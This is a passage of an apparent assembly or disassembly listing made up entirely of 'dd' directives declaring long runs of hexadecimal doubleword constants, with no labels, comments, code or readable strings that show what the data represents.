10D2E01h, 3B7568CDh, 123D343Eh dd 0B10FFB0Fh, 0F04E509Ch, 0F13B6FC7h, 0F2E30311h, 9524D45h dd 7B301B18h, 0DFBF1E06h, 32FF5B4Eh, 9174436Ah, 6804FE24h dd 24E21E54h, 80E8B502h, 1DC330C5h, 0C0A8E5A8h, 0EDF603E6h dd 0B3ECF85Ah, 4B768A44h, 0C494ECDCh, 55332B0Eh, 0E36FE0C8h dd 0F75D310Ch, 1245EEDDh, 0C6CF2B6h, 0C2CD88A3h, 146FDC0Fh dd 0F8896B43h, 0BE7E0F6h, 5842EF80h, 0A24C307Eh, 4FDC70B1h dd 2C1EA7C8h, 69A42B20h, 7EA4F527h, 8DFCAA2Dh, 8B5F9575h dd 0A0837597h, 3025FB5Dh, 970EE8h, 2EB586B9h, 470A00CBh dd 15826F73h, 34008DC4h, 36D7FF2Dh, 4C8BBEEAh, 0A306CFBh dd 0A69ED339h, 153BA801h, 286274C3h, 6A08D68Dh, 0EF7E3020h dd 13C01B27h, 44B9D027h, 3A219083h, 0DA2E5332h, 0FCE8011Eh dd 0F56B8993h, 9FF0E0F8h, 7233320Fh, 1F03EA0Fh, 2EFEB23Fh dd 49DFE183h, 4261B7FDh, 300ABFF4h, 0B3588FBEh, 82FC60CEh dd 0F726DC91h, 0F9D5BA00h, 60EE8361h, 0B94E4A03h, 241E1BC6h dd 0A0128151h, 850F97C0h, 185C9AABh, 4713E860h, 0E61CA55Ch dd 0F692FE8Ch, 0D8D0E500h, 30F5FC7h, 0C5ACAF15h, 59C05382h dd 0F21EED61h, 49135A44h, 3FFAE0h, 0D8183336h, 4B5758CDh dd 2679D907h, 6CC02DE5h, 5B3B9Bh, 70D64754h, 0A7362774h dd 8929187Ch, 4AC004A6h, 185082A1h, 1898CAEFh, 0B0E6B43h dd 0C0B89DF4h, 2B8995BCh, 0AE7B00FCh, 0C652EFA8h, 401919A0h dd 4F29090Fh, 83448508h, 0A7C544DEh, 845BEE44h, 42801B22h dd 0EC1D11EAh, 57B8722h, 0BA643703h, 72215h, 24B0AAB2h dd 9DD84B42h, 6D731224h, 0E6791A00h, 107038h, 2E22BFB0h dd 807FA819h, 6B2BDB1Fh, 0A2ED8A80h, 9CA5F6h, 96ADFD69h dd 49D1C766h, 0AB37DC00h, 2399DEEAh, 77B801C8h, 88979E57h dd 0EF56E047h, 0ACFA7277h, 5F686300h, 0B20D833Bh, 24E4007Fh dd 7D8285E7h, 0EF012A99h, 0D4131C28h, 39D041C0h, 0B5709C9h dd 7780293Eh, 0CF21382Ah, 876D3100h, 0E296CD86h, 0AA7E49h dd 0FF81192h, 7C144CCCh, 4100135Fh, 0ECB2263Ah, 0A4400C2Bh dd 2721F854h, 7F003171h, 0CB2DFA9Ah, 0E871B687h, 0F96D00E5h dd 8611B93Eh, 5B011472h, 531D50ECh, 208DFBh, 958E00A0h dd 0E2F4EFA3h, 440087C0h, 0A89A687Bh, 0E5F3F791h, 0F0EC8931h dd 73A60008h, 8F88505Ch, 1DF4B60Dh, 0B4FD3109h, 0AE4403C8h dd 973BA842h, 675F00A7h, 2F2C1C6Ch, 40E0B265h, 0EC9BC00Eh dd 0FABA005Ch, 3804283h, 2701478h, 0F9C0FBA3h, 0B77E4BA2h dd 0BDB8C0F9h, 3351E114h, 0BA6000DCh, 991BC7E3h, 0DC4A00C1h dd 4139CB55h, 700B209h, 96C8F557h, 0F4C301h, 0BD987318h dd 472436F6h, 9B09AB78h, 1214F0h, 9894347Ch, 29EE0087h dd 0FA7D1B26h, 3707E4CEh, 0F26B9C96h, 0CC3427B0h, 328C1E2Eh dd 0FAC5CF3Dh, 6501FE60h, 7424EBACh, 85016E47h, 0F776DA1Eh dd 0AEC82C21h, 6F300098h, 78FCC1FEh, 27004F51h, 0FDE5243h dd 3ECB454Ch, 428084D8h, 0A6A92E7h, 0F605F37Eh, 4189E52Fh dd 8B5F042h, 10E820A3h, 5C098E2Eh, 78A1BB1h, 5E7E76D4h dd 7F696180h, 0EF10DCh, 2DFEC1FCh, 0A7236821h, 5797C0F7h dd 0C23058E4h, 0BD591122h, 0F07A003Bh, 950EFB7h, 5A00F9CAh dd 4B29E31Eh, 0F6EEBA0Ah, 23140C96h, 6260519Fh, 0D0B73100h dd 4E84A610h, 0C92101C7h, 0C3089C4Ah, 0DCB4E53Ah, 0E51679F8h dd 8007033h, 9F99DDAFh, 0B0967328h, 31FA0F36h, 0B1800FA2h dd 22F354F7h, 0CB3B450Fh, 368E600Bh, 4149E73h, 0C582BEAh dd 3B28808Ch, 2173B6F5h, 15E01350h, 0EF406A00h, 3C3EE9BEh dd 0AC9A00C2h, 9F17A1BAh, 0B06187Eh, 0CC479771h, 7A930EF0h dd 0D4E0DEA0h, 1CBF354Fh, 27A15A0Fh, 0EBCB6049h, 0B0C5B9h dd 0DF8F31EEh, 6FA3CD92h, 0B116F400h, 0F0D43A7h, 1125675Fh dd 0EF6BD05Ah, 60952D6Eh, 860764h, 9B9AC42Ch, 0F61604Ch dd 0DBA97307h, 14E7B306h, 0AC6C1930h, 0E26EC0D2h, 519D5FCDh dd 0D1C39F00h, 5C0B15CCh, 5BB000DAh, 7EC1A185h, 733DEC3Ch dd 6A00743Eh, 312DA4D1h, 26DC0C8Ch, 80F0F78Dh, 0FFA9B29Ch dd 626192Bh, 348050AFh, 3B5ACB6h, 0DFB00D0h, 0C141A8Ah dd 0E8004FCAh, 9DB2C74h, 79F4FAh, 4E59218Dh, 0D6AA02C1h dd 0BC398B28h, 8843BB12h, 0D335E400h, 484787h, 7BEBB566h dd 0ADDC7CD6h, 10678424h, 1F76C800h, 13E79F03h, 9ADBBDh dd 0B70848D7h, 0E9007C22h, 0AAE5200Eh, 1EF72D5Fh, 0C0F5AED0h dd 3F7F6FA5h, 2A38087Bh, 0A4951C22h, 0DBE50284h, 0FE9C5880h dd 2DC50092h, 80B9013Dh, 2B13D05Eh, 0D800B837h, 719E866Fh dd 0DFA101B2h, 2008FF40h, 0DC060DAh, 0F0C2653Eh, 6ADE9F00h dd 0BDB91537h, 0C1A0057h, 0A338C377h, 0F0A04D62h, 3900C42Dh dd 0DCD39EC6h, 0FCDBD94h, 0A004E768h, 0F10E80BEh, 0A487D560h dd 41056D07h, 91A08C22h, 1BD249Fh, 75D46ECEh, 40984B2Eh dd 200A3D80h, 3E51D31Dh, 5F0072E6h, 0F062A4A8h, 0CE471C52h dd 78D700B4h, 193BB9BEh, 4DA29300h, 1D0F9AFAh, 0F5908Bh dd 4C28FCE0h, 7475F44Bh, 0B3F80A00h, 7E44985Fh, 0B6AB009Bh dd 0B5F7922Dh, 0DE0FEC58h, 92071EEBh, 0A28C1000h, 0DC0FD9h dd 13BCF608h, 0A6444F58h, 40EE5898h, 99FDEC00h, 0B9FC03D0h dd 647800BFh, 0AA19CB1Ch, 1D0029E4h, 0D5C4C911h, 24469A12h dd 103A7Ch, 21853CBh, 30ED4122h, 94003C3Bh, 54B5FE8Fh dd 1DA5A68Dh, 854CFD84h, 9061E605h, 0A941B110h, 761CCF48h dd 6AC28000h, 169ED934h, 601B5955h, 92B5D20Fh, 91C48E80h dd 0AA605F54h, 314A84D0h, 0F0EFF356h, 73DFCD04h, 0B44F8E7h dd 94585A3Dh, 8CB16C00h, 2860E3A4h, 6271A5E2h, 928F0052h dd 25D6D924h, 123C6A59h, 53D16060h, 921AC02Bh, 0D9470978h dd 0B0A05B67h, 0FA244809h, 8F001177h, 237B0FCFh, 0E67A0E3h dd 0B7B5914Ah, 0E54B7A00h, 0D40F4D26h, 0A01FC1D5h, 13715DDCh dd 0A90E04BBh, 808E807Dh dd 0AB88C06Ch, 8DD70418h, 0F08610h, 326A0C68h, 67D16DE4h dd 0FE006CEAh, 94C99C98h, 0A00B055Ch, 925319ACh, 76D700CCh dd 79ED7A54h, 1A903184h, 43BA938h, 8AB13E4h, 0D4993880h dd 0EFB5004Bh, 6BF5455h, 0E4010D0Ah, 1DA9433Ch, 0E9B938C7h dd 0DAC4A882h, 88E86D11h, 400F7DDh, 0DF9D5EFEh, 0E04F13AEh dd 88F100DAh, 0CA2A79C6h, 33E450C9h, 1E521958h, 0A000254h dd 703AA0A4h, 58AC6FAAh, 0B5604220h, 5500D349h, 4CA68443h dd 2F2EEBh, 7BAFB86Bh, 0BC5C811h, 7E03D97Fh, 2A3D33EEh dd 42F2C048h, 0AC9E48A7h, 0F180853Dh, 7E08D407h, 5A001D91h dd 3F86BE9Fh, 0D0DBF5h, 0EEA47D0Fh, 5D4C6007h, 0B6B83A00h dd 18CDFDB7h, 4D87000Eh, 36489A63h, 1F02A498h, 4EDFA301h dd 161860BFh, 61D71C43h, 17A04046h, 5D604B19h, 0AB00E6E8h dd 4EA7F26Ch, 1456CD14h, 8E1B9BD3h, 346AF2Ch, 0F8282103h dd 4DEC64A0h, 0F2B1E901h, 3C2BED84h, 1E678F8h, 36560DA0h dd 0C8431470h, 1118C56Bh, 15E09957h, 48C492CCh, 0AD28171Bh dd 3F16E293h, 6000C3CEh, 0FE13CD1Eh, 0DB00F015h, 4686ABEDh dd 729E6C47h, 0DCF4008Dh, 8CB8EAF2h, 0EE5C3428h, 0BEDF00B0h dd 0F1AA226Dh, 43B10069h, 0FA3AAE79h, 573D38A1h, 5AC20071h dd 9FCE60E2h, 8B9E0317h, 0B2285BE6h, 0FA948050h, 0A500BA75h dd 796C6085h, 0B973D5h, 0B3A3872Dh, 0AF6A32C2h, 5B18C00h dd 2F3F4BCAh, 0D6BB241Bh, 6B920EF8h, 21B3D281h, 0DA1ED14Eh dd 81A76F40h, 80B52B39h, 80C44049h, 356014h, 0D3E4D09Bh dd 0CD114D7Dh, 0A4078E09h, 6B60807Eh, 360C90Dh, 23FBC58Ch dd 0B3884A20h, 1B00969Bh, 2899ECB9h, 30862CBBh, 5802958h dd 0D20CE173h, 7892EB7Bh, 0EE810C7Dh, 0AB202890h, 18D1BE07h dd 52808DFBh, 24D74909h, 7107588h, 50D4B7D9h, 0A58B599Ah dd 0BC87DB0Dh, 25E048B3h, 7173075Dh, 0F7120ACDh, 0ECA66059h dd 8D009D51h, 1F3CC604h, 0D0AF78h, 9E16FBE9h, 0AD0301C9h dd 1B4AD307h, 0CCB05F98h, 55939A0h, 177F9DCBh, 0EF508057h dd 3E3F11FEh, 3B870308h, 0BE9A99BFh, 42130098h, 0CDABD116h dd 0C826C4A6h, 7000B563h, 0E77B1BCBh, 0E91A0E66h, 2BE04020h dd 7E6BC577h, 7709F0Fh, 0E20642F6h, 900AC39Eh, 7656F76Dh dd 83E3002Ah, 0CC5B968Fh, 81000336h, 67FF32DAh, 9A5E663h dd 140982E8h, 21070C01h, 0DBBCC040h, 26FCC400h, 8565AB73h dd 9A550059h, 79E1C034h, 461D227Dh, 2E00D7A5h, 74F3A714h dd 70DF0009h, 62509268h, 0EA2EBAA3h, 0F700AC01h, 5411A0E7h dd 0D7D55h, 0A799894Fh, 0F16D1FDBh, 415AC02h, 609605B5h dd 58A0F3h, 0CF9538D9h, 884C6519h, 0E0160602h, 60DB151Ch dd 0F388E86h, 62BFAF71h, 0C039D265h, 65BB696h, 804CB039h dd 0D12089C4h, 4FB31Bh, 0D4FFDEA9h, 0F6D8A0EAh, 0D9153Ah dd 0CDE13467h, 3A49ACD3h, 622EF333h, 11120069h, 0ADD5D61Dh dd 0D1754F07h, 0EDA03187h, 74342D7Eh, 0E0A7EE58h, 0EEF603F9h dd 0A1B1648Fh, 995C7CA0h, 3500237Eh, 496B26F4h, 7CB8ADD6h dd 0F0BA3D42h, 9832F100h, 0F6F713ACh, 4BE6D100h, 7F929318h dd 0E8D4ABE4h, 3E25DE2Fh, 0A687EE28h, 2058FCBEh, 53B51AACh dd 87EA0D90h, 5B4F3C04h, 0CF08F49h, 0BBEE0131h, 0BF73322Ah dd 0D842E092h, 3E471900h, 673C8424h, 0D1710333h, 0DE803039h dd 0EFCF509Fh, 58391801h, 0CA628109h, 0A9602991h, 9B27C440h dd 340B0389h, 14E642FFh, 17A6101Ch, 79AAEE40h, 0DC94F043h dd 347B8080h, 97C8194Ch, 998E5D30h, 314B00Eh, 3C8AF622h dd 45A0E620h, 4A00E956h, 0CA51076Ah, 78114614h, 35E0B2h dd 0B75855EBh, 93BFD7A9h, 0C0F52301h, 186F2FE6h, 5FEFF0h dd 0D5242568h, 5D10FD74h, 42AC2007h, 0A7B3A070h, 8AEEC018h dd 0ED9C2E97h, 45898F40h, 0A694A402h, 0D38A58A0h, 0EC33198Eh dd 0BC5C20EDh, 4B1F1648h, 9F13C786h, 181EF8F8h, 5891AB4Ah dd 6618EF42h, 1540A0BFh, 0A01000Bh, 2CCCB22Dh, 4800EED5h dd 0C5DF29F6h, 0A8AE67h, 0C38B5C15h, 742A96DCh, 507A3F4h dd 78A9138Ah, 0A1457210h, 8C5A0075h, 0C7E07902h, 9876979Ah dd 3B9B3C00h, 0B5F6D7Fh, 357414h, 67331ED6h, 58B6B5F6h dd 2A5348h, 7175624Eh, 2E27A87Ah, 13A6196h, 0CAB57F4Dh dd 5F97F034h, 13528F03h, 0F1A45610h, 8D60373Eh, 70587E2Bh dd 667719h, 0A927576Eh, 3BCC506Ah, 9E18E3Fh, 0C329EF82h dd 0E00FD068h, 0AFF71EFFh, 0E0A0EA8h, 0AB34B895h, 6E9C0FB4h dd 28610900h, 8F67150Ah, 0DD412C21h, 118078B8h, 0FAEE5A26h dd 1CA01027h, 0AB30D40Bh, 0DA981134h, 939510DDh, 41181EA0h dd 0FEF6846h, 0CC1B0291h, 921C0977h, 6737E4A0h, 0ECA4C052h dd 1D8BE8C0h, 1F67D69h, 8857799Dh, 80193A92h, 6B188AA8h dd 3A8B001h, 28545E77h, 0E000A14Fh, 0BD91434Bh, 0C010EB85h dd 46B8298h, 63039A64h, 93B90390h, 0E7A5900Fh, 3D137CC4h dd 251B0CC0h, 76BA10F8h, 3E000070h, 232F7236h, 793C6644h dd 256F0746h, 80752BD6h, 9B733A1Ch, 502ECE3Ah, 4A784CD0h dd 66034175h, 60681E2Ah, 0E1A7A240h, 6DFD35CBh, 5B45C8h dd 31395218h, 482F404Ch, 352E6A00h, 1F297359h, 25690A2Ch dd 0E6383D8Ah, 624820DFh, 0A11842D5h, 64D01BE0h, 0C04AF038h dd 6F1ED4B0h, 32013B2Fh, 36204B18h, 0A7E0E075h, 1B290348h dd 3E4C494Ah, 393353C0h, 45184FFAh, 56D1678Ah, 5AE0F343h dd 8A38D668h, 0C049088h, 109592EFh, 80150A20h, 80C8BCAAh dd 13CB5C11h, 28127D4Bh, 0C80A6595h, 1C2AE848h, 2F638B73h dd 0C1106E19h, 8423BF8h, 11C4498h, 9DF4F060h, 40A3A639h dd 0E8839A2Ch, 29001048h, 889A0CA5h, 0A00C3888h, 0E930C10Dh dd 83ED1D8Fh, 0FF287C59h, 84A10664h, 40AB2A15h, 0E705627h dd 839B6350h, 2C590A6Ch, 85788414h, 89F6E56h, 0E477C658h dd 9BF23B4Eh, 0E6BF91Dh, 0DD5595B0h, 3BA87B4Ch, 7949389h dd 6D86C840h, 3B8FF70h, 44D52993h, 1FA1AA19h, 0A60C414Dh dd 6297E109h, 2B2670BCh, 9500C010h, 150C3A5Fh, 0F934B05Eh dd 9222E4F3h, 0E5BB1120h, 13C51708h, 8F8B001Eh, 0DB2A4E9Fh dd 0FA9B0CA0h, 149A0DF0h, 58758D28h, 40EA0E05h, 643A8F20h dd 5F263422h, 0F50AF02Ah, 0BC208C5Bh, 0B8407C42h, 2F2C840Fh dd 19867417h, 1419F98Dh, 0F88BAB37h, 142D39C0h, 5C988A41h dd 48480C42h, 6364FF10h, 0B8F5540h, 0FAAFE0C1h, 1493C019h dd 4302E46Ah, 281938D5h, 98C47C64h, 1041F109h, 8C5D1F93h dd 68A43291h, 83A61109h, 8E410A01h, 4B61880Fh, 0AC61AB38h dd 65E26441h, 2098C414h, 5D83A594h, 2909258h, 3AEC4D1Eh dd 440C44B9h, 80AE8A96h, 1998F555h, 4092F50Ch, 78EA308Ch dd 295404B1h, 9A887C9Fh, 5CC2E048h, 0ABA0F402h, 926D1922h dd 0D320C194h, 28C88AFAh, 64817908h, 0A2805004h, 0C98A8FDh dd 8C1A95C7h, 474F3804h, 95E20CCFh, 0DB290115h, 22C4EC81h dd 850C22A8h, 98331580h, 1B170C46h, 3FAC2507h, 0F504C89Ch dd 0B1D95310h, 0C8A027A6h, 4A0658A5h, 0B949612h, 0D862144Ah dd 0AB74106Bh, 5061D54Bh, 315FEF2h, 2AFB5B0Dh, 0D15351F6h dd 86AC58A8h, 537991B8h, 3055D8CDh, 95584DF2h, 2C494C17h dd 5F8123AAh, 3DBFEC11h, 97E118E9h, 9324910h, 5BBF5D8Eh dd 1210481h, 2C9811C5h dd 20950B03h, 4C155DCCh, 54180E60h, 0E690BC70h, 639B0888h dd 7031070Ch, 1F04F60Dh, 0E853E29Ch, 678043Ch, 1479695Ah dd 0EF3C70E8h, 80471EF9h, 3C47D895h, 9DBDDB0Eh, 0D018E4B1h dd 92FDC330h, 6BC031Ch, 0BF05856Eh, 63343EA8h, 7B997F38h dd 7D4C39h, 9B215E96h, 0E717246h, 6397764Bh, 1040370Ch dd 5F6DCF00h, 0AD2D6C23h, 0C8DD3EF9h, 7860E400h, 2FCA673Dh dd 0EC515A00h, 4231145Bh, 125F0097h, 340CB780h, 0E23AE624h dd 0B6D5014Fh, 0C0682095h, 0FD396C22h, 0F8943C87h, 4D42A008h dd 0A70797E4h, 24E17462h, 0F7153940h, 0FC0B01CFh, 93C40F1h dd 0FA204085h, 0C9A1211h, 80E38AF8h, 0A4B11019h, 7E2C1Bh dd 24BA8672h, 410B68D2h, 54C00126h, 0E7C0C247h, 162396CAh dd 37A781Ah, 0D150B14h, 0AC3358A6h, 0F0166108h, 0EF67A5h dd 0A983610h, 4A744713h, 0BB6E7600h, 6ADE0259h, 0F73C0396h dd 0C2458173h, 0DDF2A8C0h, 3BBB610Fh, 0A08087DCh, 7CF4298Ch dd 0ED470162h, 0CC60F9AEh, 0B72EC42Bh, 910FB90Fh, 863F20B0h dd 1661485h, 0CFAEABC1h, 0F0084709h, 0B00067FBh, 5EA11744h dd 39828FB1h, 0C21F7507h, 0E585C0AEh, 3505227Bh, 564A2800h dd 0B745B066h, 5D4EC3DDh, 2001A6ADh, 536D42C2h, 204E06F7h dd 81735B11h, 9EC06275h, 0EF2D90FFh, 380B605Bh, 0D4345544h dd 0AF545200h, 0F184FE9Ch, 748CFB4h, 0D95D99BCh, 2DFD42Bh dd 0B3497F00h, 0FA23EA60h, 7D080C64h, 33F0689Ch, 96D1BF18h dd 307BA230h, 39185E98h, 0A340D50Fh, 0D82D0F8Ch, 5480A68Bh dd 0B24A5344h, 8EC1FCE9h, 0E0C7AC00h, 0C5E48033h, 0A909CC2Bh dd 0B4036E21h, 0A2BA4CC7h, 0D948A825h, 182F7001h, 0F068023Fh dd 0AE0CCED0h, 0E0C5A8B4h, 66A100A3h, 73313801h, 49660760h dd 0FC21A509h, 80E45Fh, 1EB74D67h, 0E09C1164h, 0B400077Ch dd 0F97BB336h, 366DE98h, 50A604FBh, 0D0F0ABC3h, 70C0C8FAh dd 0FC7CE7A4h, 9DD8C293h, 0B0A00ABEh, 78808588h, 9C4B84A0h dd 92FE0801h, 0B84A4024h, 0A570D980h, 805AFF94h, 0E8001690h dd 6EE2D6D4h, 6DE9EFAh, 0B1CBF94Eh, 0AE733137h, 1BC44154h dd 65EA8600h, 1C5CC229h, 379C007h, 89AAF1E0h, 4092F603h dd 0A3930620h, 444000FAh, 0CDF1F7E1h, 0E7097CC9h, 208D7461h dd 0F9B1D020h, 202F09D1h, 5C00A1CBh, 7118A0DAh, 310C07E8h dd 18FEF738h, 0D55D189Bh, 0B34A389Ah, 80050A3h, 0EAFAEE81h dd 33B4549Fh, 0B19B1A9h, 0F6263C88h, 84AA8D01h, 7D2C60C9h dd 636B0D20h, 0B3ABA98Eh, 3F4F3101h, 116EDE4Bh, 783795C4h dd 9B8D0C48h, 1E7179D3h, 0C4705300h, 0BB96BE88h, 4685032Bh dd 49A0F964h, 0C51E99C6h, 414E4DC2h, 7017E794h, 4F4953A0h dd 581F4A4h, 0EB2B393Fh, 899C1B4Bh, 0F9676AA0h, 904890B0h dd 546984B0h, 51219E00h, 770C9ABFh, 9178D3F2h, 9462006Eh dd 16A199D7h, 8B03D569h, 0A3F1F20Bh, 5BFE878h, 3C88909Ch dd 93A07D8Eh, 84756E04h, 0CB00AD07h, 0C0BE1D2Bh, 8DFB6306h dd 18807E7Dh, 6974D432h, 0EA07950Eh, 8DFC6B5Ch, 25784680h dd 0DBFE0251h, 90B4C840h, 0F8B9040h, 2EE40082h, 0A0D65338h dd 3BF29CE0h, 2000DDB4h, 0D169296h, 0C300A873h, 8331DCA9h dd 0DCB1CFF8h, 41D68C38h, 42006479h, 1CFB4E87h, 66C3B2A6h dd 216E0844h, 873B7D03h, 934D2F7Ah, 964004C6h, 91F9FBFFh dd 0E1B10728h, 1C8C3437h, 525C0448h, 40017720h, 23D9EDCCh dd 0C4225CF2h, 838AA1Ah, 66E0D800h, 0CC0850A3h, 808F5239h dd 443A5C8Eh, 0C9292F43h, 0A80CE4A3h, 0D861AEh, 75919F56h dd 15995967h, 0DDAC812Ch, 2C81EA3Dh, 142CE960h, 7B6107A2h dd 3305A92Ah, 9BA09DB2h, 60492833h, 5A750204h, 57065BC3h dd 89B416E0h, 0A4929E1Dh, 70482D04h, 413384D0h, 0C4DB05C3h dd 0F6BBFBAh, 1B1EFF8h, 0D9D4BB08h, 0C5F49BC6h, 3C4484A5h dd 448E3F01h, 0A9BE2985h, 0B3F00384h, 21054034h, 3D89629Eh dd 0BA49B806h, 698000D1h, 84169BBDh, 0C2015286h, 39CAB6D0h dd 0DC23423Ah, 0ED092E30h, 7A07D1B7h, 812AB46Bh, 0B02059D5h dd 15A2E5Dh, 0AF2F04DDh, 53AA8675h, 4E61B2ACh, 2F9BF989h dd 0F7D0B435h, 358F16ACh, 54084490h, 3358C341h, 21AA89F9h dd 60C7E184h, 7B8C5008h, 33DF11ABh, 80AA88B8h, 61C7B36Bh dd 9D00E687h, 6675166h, 30F73ABCh, 9B58B781h, 202BBD0h dd 0E2013788h, 53744021h, 62300AC6h, 8E4CEF9h, 9E025595h dd 0C3D71359h, 0C05E9420h, 6F2F8C6Ch, 8D02BB9Ch, 6D4C6BCBh dd 2C6451h, 38F14C9h, 0BF1816Eh, 0EBA1B409h, 0FC900383h dd 0F5BA1A5h, 6E7024h, 17A08C5Ch, 0E329FE60h, 1283F248h dd 0F05DE98Dh, 0E034AD00h, 50872FB2h, 4A4A8A0h, 17302D99h dd 0A39880F3h, 0B7445138h, 0E9220008h, 71DE9395h, 7C30D39Eh dd 313B39A1h, 80837820h, 8491A9A6h, 94C7D00h, 0F34A46Dh dd 3576A1B9h, 82F3761h, 0AA10349Fh, 25A8F3Eh, 1E24F30h dd 0DC8940C8h, 368B240h, 382F95ACh, 3059EDFBh, 4455C220h dd 0A5E8B03Ah, 33E111C7h, 899F88C8h, 300AD75h, 0A555FB5Dh dd 0CF2CBA59h, 821A2315h, 8E80FD09h, 7250B48Dh, 5F0A09F8h dd 51039E43h, 0D1F04BE2h, 0AC4864E7h, 8025835Ch, 0C2868713h dd 0E9512E30h, 0B004F34h, 1C6779E3h, 68D40554h, 42FE6F0Ah dd 0C313A00Ah, 82A5A04Eh, 6195C87Dh, 0EDECADD8h, 134908Bh dd 0F7DD7B12h, 91845585h, 9D00B1B9h, 8D6F8A2Dh, 7D148986h dd 2EA043A8h, 467C5863h, 0D4B179Ch, 287DFC0Eh, 5BBA00B5h dd 0AB2FBBF9h, 0BC256024h, 2BCA6030h, 3A85FA22h, 0D72CE738h dd 2C10BC3Ch, 4306129Ah, 1C09DC52h, 40F4B2F1h, 4DFB67E4h dd 6888F444h, 87508480h, 2048C10h, 0D2EFA005h, 4460D48Ah dd 450254EDh, 27202DA7h, 0F9A0800Eh, 1205B361h, 6828F51h dd 91AE91D4h, 9458352Eh, 69073183h, 0A31809A4h, 804EB43Ch dd 12396B40h, 4EB35804h, 2F243030h, 0E04487FDh, 2001E97Dh dd 0E2C30504h, 0C4A738A9h, 20879B20h, 0C9FEC888h, 0CCF5883h dd 8F9EC802h, 66043ABFh, 92722C14h, 0C03B1DB7h, 108B3F0Eh dd 8F09AB2Dh, 20F11327h, 2C6F8EC0h, 0E79531FEh, 9CAFA838h dd 0B80641h, 0CB9458E6h, 0B1569A40h, 74C2488h, 0C0A5F901h dd 0FC5B2F91h, 0CEC350C3h, 0ED20C80Ch, 90AD00E8h, 935CF6DBh dd 0A450C955h, 8490E198h, 84A8A95Ch, 7BC0957Dh, 783EE53h dd 3FB025C0h, 542C20DAh, 0F0000C4Ch, 0EF47946Ch, 58686B8Ah dd 0F20E5886h, 0C01C042Bh, 83138841h, 0E8F3FBF5h, 2D28F79Ah dd 551CD8A5h, 7DC31A0h, 129330C5h, 18B5980Bh, 39B757C0h dd 0D0001B3Bh, 875DBE8Dh, 0BC92095Bh, 3600E0B0h, 74E33CACh dd 7E03FA9h, 229C452Bh, 141345AEh, 7B94ACAAh, 117C4F18h dd 6AF42AB3h, 0A8826409h, 3CA77E91h, 0D18BF200h, 50704986h dd 522C4D00h, 84284593h, 0ADE73BA9h, 0F4C0A300h, 254391BDh dd 0C9DF4850h, 6B23420Eh, 6D2280C6h, 4A0182h, 665A21D5h dd 0AAACC293h, 0FAA77500h, 0AED864B2h, 0CCC81D91h, 0CD003EB0h dd 0AB5A6AAFh, 3C031E7Eh, 717FB9EFh, 64C1E003h, 0A7FA00D4h dd 34AEC06Eh, 8178DB63h, 36D3C63Ah, 1F112878h, 12C0ABCBh dd 72F703BFh, 61C0FADAh, 341E7ED4h, 741FA875h, 7CAED201h dd 0ABE0D171h, 383F064h, 0ECCC73A6h, 0B846E71Bh, 8FE0BE04h dd 7D00CF97h, 0ECD67275h dd 0A5D75EC1h, 2B98BD18h, 0B0641014h, 37FB38h, 0A4D98A31h dd 0C45F48Fh, 13B9015Bh, 0B407BC18h, 33EE6D25h, 377004C0h dd 0AE48C059h, 3FC72875h, 861D3Ch, 1F980A72h, 135C11h dd 661CB8D1h, 0B04B8D28h, 5B21CB07h, 0C7239B1Bh, 57B9800Bh dd 55DF0B17h, 9580DD3Eh, 0E0D0F548h, 72288200h, 211B96ADh dd 18C4600Ch, 8CF99DAEh, 181A70C1h, 40406DACh, 60D9E87Dh dd 16A8D9DAh, 0E1E9235Dh, 0F818D36Fh, 0BBC0C527h, 27CA447h dd 0F914D9FAh, 1B3C952Ah, 0A2C55C59h, 0FE9943C7h, 683026C7h dd 18313798h, 0F09868EAh, 95635101h, 3BCA9F8h, 0EF1864BCh dd 0B14008F3h, 0E20C8EF0h, 66AB5072h, 0B11F78CFh, 391CE71Fh dd 0C3828CEBh, 3C9AA3FCh, 1380F660h, 15738A68h, 8C0221E8h dd 53935A00h, 0CE9C4C63h, 0C9220EEh, 0DCD7C71Eh, 0E8AC81BBh dd 0E6C4B8EBh, 258928FFh, 485B6448h, 0E1289C69h, 605E6491h dd 0FB2B0991h, 6EF8D1EDh, 1E7C1C38h, 80BB1472h, 0D87087F9h dd 37734AFh, 5E83ABD1h, 0FEC7A5C0h, 3B783796h, 0C1B05001h dd 0F0546178h, 0B00E5C6h, 0ABCEC886h, 0A0D7190h, 63D1845h dd 53BE6144h, 0B408EC48h, 44EA72Bh, 74145401h, 0C4D0B50h dd 81F10800h, 89707C77h, 0DD304C23h, 1F0848E3h, 0F88617F8h dd 4E3581DAh, 24E491A0h, 0B194CC61h, 89BCA10h, 22486564h dd 0B3302D95h, 0E9593AFDh, 0DF881052h, 6F3C8391h, 7C084646h dd 70014A41h, 3102F361h, 0D3F09C6Dh, 0CC35261h, 8CFAF615h dd 0DD065090h, 28948ADFh, 1564A4A4h, 17481609h, 31223091h dd 89232244h, 241D121Ch, 911F481Eh, 44192218h, 44894B4Ah dd 46244512h, 3980474Fh, 0ECFE8B12h, 0E6E00E7Eh, 1F65F4A4h dd 842D20B8h, 580497FAh, 8A1E86Fh, 87BC4009h, 1B01231Ah dd 8B59201Ch, 0C4F034E8h, 772200D3h, 2421AA42h, 1A037214h dd 204C15B1h, 0A354A3D9h, 0C6BCC3A1h, 60644040h, 80A4AF40h dd 0CA0743D2h, 0E815A721h, 48A6C374h, 43FF4BFh, 951EACFAh dd 0AC98898h, 0F5978504h, 0A5F9314h, 55382367h, 0A67DA381h dd 1210F196h, 432A7B4h, 28110910h, 4211448h, 3EBAABFh dd 4E4F02A0h, 0CDA6E82Bh, 0B0BE181Ch, 65DF21E6h, 0EF7038A5h dd 161201DBh, 9D52D79Ah, 3764F046h, 8DA18C3h, 233AE89Fh dd 0BBE014ADh, 0C73E1C34h, 0AFD3E3Ch, 1E0189E2h, 0EA2F4528h dd 70BBE470h, 41DF6E94h, 3014D166h, 6175EB00h, 717C7FDAh dd 66A701C6h, 0C1800CE8h, 9182E06Dh, 5ABE730Eh, 0B0D2206Ah dd 15D17177h, 14E6AAADh, 5A0684CFh, 630030CFh, 71B3ABDBh dd 0C0917ED2h, 777CAF58h, 72FA7FAAh, 1BF0D403h, 88A6C0B2h dd 0FEEB2362h, 0E9D6305Dh, 0AB82D018h, 0AC0ED8F0h, 9BC062A7h dd 0E9287D80h, 7E78B3E8h, 30B97E63h, 5C78D65Fh, 31C383D2h dd 7461C1AEh, 0AACC2959h, 1A8A10Ch, 0D47076EBh, 0D178C47Fh dd 6FC0AB00h, 777DAEC6h, 3DCA6CDh, 338C2796h, 4BC0D110h dd 22603C97h, 1DB40A20h, 0BDF57F53h, 94F758C2h, 5A8C0E90h dd 30A006C5h, 0FE55CB3h, 